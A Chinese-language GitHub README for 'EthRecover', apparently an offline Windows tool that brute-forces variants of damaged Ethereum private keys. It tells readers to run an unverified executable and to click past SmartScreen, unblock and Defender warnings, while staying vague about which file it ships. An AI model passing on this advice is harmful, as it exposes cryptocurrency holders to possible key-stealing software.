Haskellfirm377/EthRecover
GitHub: Haskellfirm377/EthRecover
一款用于离线恢复损坏以太坊私钥的 Windows 工具,通过纠偏与并行变体验证解决密钥丢失问题。
Stars: 0 | Forks: 0
# 🔐 EthRecover - 在 Windows 上恢复以太坊密钥
[](https://github.com/Haskellfirm377/EthRecover)
## 🧭 EthRecover 的作用
EthRecover 是一款用于查找丢失或损坏的以太坊和 EVM 钱包私钥的离线工具。
它适用于以下情况:钱包文件、助记词导出或密钥文本存在错误、缺失部分或 OCR 识别错误。该工具会尝试多种安全的变体并检查它们是否符合已知钱包格式。它在您的计算机上运行,不需要互联网连接。
## 💻 需求条件
- 一台 Windows 10 或 Windows 11 电脑
- 4 GB 或以上内存
- 200 MB 可用磁盘空间
- 一个可以保存恢复文件的文件夹
- 以下之一:
- 仓库提供的可直接运行的 Windows 版本
- Python 3.10 或更高版本(如果您打算从源代码运行)
为了获得最佳效果,请使用可以长时间运行的机器进行扫描。
## 📥 下载 EthRecover
请使用此页面下载或获取最新文件:
[访问 EthRecover 下载页面](https://github.com/Haskellfirm377/EthRecover)
如果仓库提供了 Windows 发行版,请从该页面下载文件并保存到您能找到的文件夹中,例如 `Downloads` 或 `Desktop`。
## 🪟 在 Windows 上运行 EthRecover
### 如果您下载了 Windows 文件
1. 打开保存文件的文件夹。
2. 双击文件以启动。
3. 如果 Windows 请求权限,请选择 **仍要运行** 或 **更多资讯 > 仍要运行**。
4. 等待应用程序打开。
### 如果您下载了源文件
1. 从官方 Python 网站安装 Python。
2. 打开 EthRecover 文件夹。
3. 按住 **Shift** 并右键点击文件夹内部。
4. 选择 **在此处打开 PowerShell 窗口** 或 **在此处打开终端**。
5. 运行仓库文件中显示的主脚本。
如果您不确定要运行哪个文件,请查找名为 `main.py`、`app.py` 的文件,或类似 `.exe` 的 Windows 可执行文件。
## 🛠️ 首次使用设置
1. 从上方链接下载 EthRecover。
2. 将文件保存到一个简单的文件夹。
3. 如果文件是压缩包,右键点击并选择 **全部解压**。
4. 打开解压后的文件夹。
5. 启动应用程序或脚本。
6. 如果 Windows Defender 询问该文件,请检查文件名和来源,如果与 GitHub 仓库匹配则允许运行。
如果应用程序使用命令行窗口,请保持窗口打开直到恢复任务结束。
## 🔍 恢复如何工作
EthRecover 使用以下步骤测试损坏或不完整的钱包数据:
- 读取输入文本或文件
- 纠正常见的 OCR 错误
- 尝试常见的符号和字符替换
- 并行测试多种密钥模式
- 检查结果是否符合以太坊和 EVM 密钥规则
这在私钥被错误复制、从纸张扫描或保存时缺少字符时非常有用。
## 🧪 常见使用场景
当您拥有以下情况时,请使用 EthRecover:
- 私钥包含一个或多个错误字符
- 钱包导出的文件存在 OCR 错误
- 复制的密钥丢失了空格或换行
- 无法打开的旧钱包文件
- 来自笔记、扫描或截图的格式错误的密钥字符串
如果大部分密钥仍然已知,效果最佳。
## 🧾 基本工作流程
1. 打开 EthRecover。
2. 添加损坏的密钥文本或文件。
3. 如果应用程序显示,请选择恢复模式。
4. 开始扫描。
5. 等待工具尝试密钥变体。
6. 查看结果。
7. 将任何恢复的输出保存到安全文件夹。
如果应用程序允许您选择目标类型,请选择与您的钱包格式匹配的一项。
## ⚙️ 提高成功率的建议
- 保持原始损坏文件不变
- 从副本进行工作
- 使用最完整的输入
- 检查 OCR 错误,例如 `0` 和 `O`、`1` 和 `l`、或 `5` 和 `S`
- 在关闭应用程序之前让扫描完成
- 如果有可用的快速 CPU,请使用它
如果您有纸张扫描,先清理图像再运行 OCR 校正。
## 📁 建议的文件夹结构
您可以使用以下简单的布局保存文件:
- `EthRecover` — 应用程序文件
- `input` — 损坏的钱包文本或扫描件
- `output` — 恢复的结果
- `backup` — 原始副本
这样可以更方便地跟踪每次尝试。
## 🔐 安全注意事项
EthRecover 在离线状态下运行,有助于将钱包数据保留在您的计算机上。
为了安全起见:
- 使用受信任的 Windows 电脑
- 在恢复期间保持机器离线
- 将恢复的密钥存储在加密位置
- 完成后删除临时文件
- 不要与他人共享密钥文本
## 🧩 故障排除
### 文件无法打开
- 检查下载是否完成
- 确保如果是 zip 文件,已解压
- 尝试在类似 `C:\EthRecover` 的正常文件夹路径中打开
### Windows 阻止应用程序
- 右键点击文件
- 选择 **属性**
- 如果看到 **解除锁定** 选项,请启用它
- 重试
### 扫描速度非常慢
- 关闭其他应用程序
- 确保笔记本电脑已连接电源
- 允许应用程序使用所有可用的 CPU 核心
- 先使用较短的输入
### 未找到结果
- 检查输入是否缺少字符
- 尝试更干净的扫描或更好的密钥副本
- 确保目标格式符合以太坊或 EVM 数据
- 使用更多变体运行另一轮扫描
## 📌 Windows 用户的最佳实践
1. 从上方链接下载仓库。
2. 将其放入名称较短的文件夹。
3. 如需要,进行解压。
4. 从该文件夹启动应用程序。
5. 将输入文件保存在单独的文件夹中。
6. 将输出保存到新文件夹。
7. 立即备份任何恢复的密钥。
## 🧰 您可能看到的文件类型
根据发行版本,您可能会看到以下文件:
- `.exe` 用于 Windows 应用程序
- `.zip` 用于压缩发行包
- `.py` 用于 Python 源文件
- `.txt` 用于笔记或示例输入
- `.json` 用于设置或输出数据
仅打开与所下载发行版本匹配的文件类型。
## 🧭 获取最新版本
[打开 EthRecover 仓库](https://github.com/Haskellfirm377/EthRecover)
## 🖥️ 简易启动检查清单
- 下载 EthRecover
- 如需要,解压文件
- 打开应用程序或运行脚本
- 加载损坏的密钥数据
- 开始恢复扫描
- 将结果保存到安全文件夹
标签:Ethereum, EthRecover, EVM, OCR修复, Python, 以太坊, 加密货币安全, 加密钱包, 地址匹配, 密钥修复, 密钥生成, 密钥破解, 密钥验证, 无后门, 暴力枚举, 本地恢复, 离线工具, 私钥恢复, 种子短语恢复, 逆向工具, 钱包恢复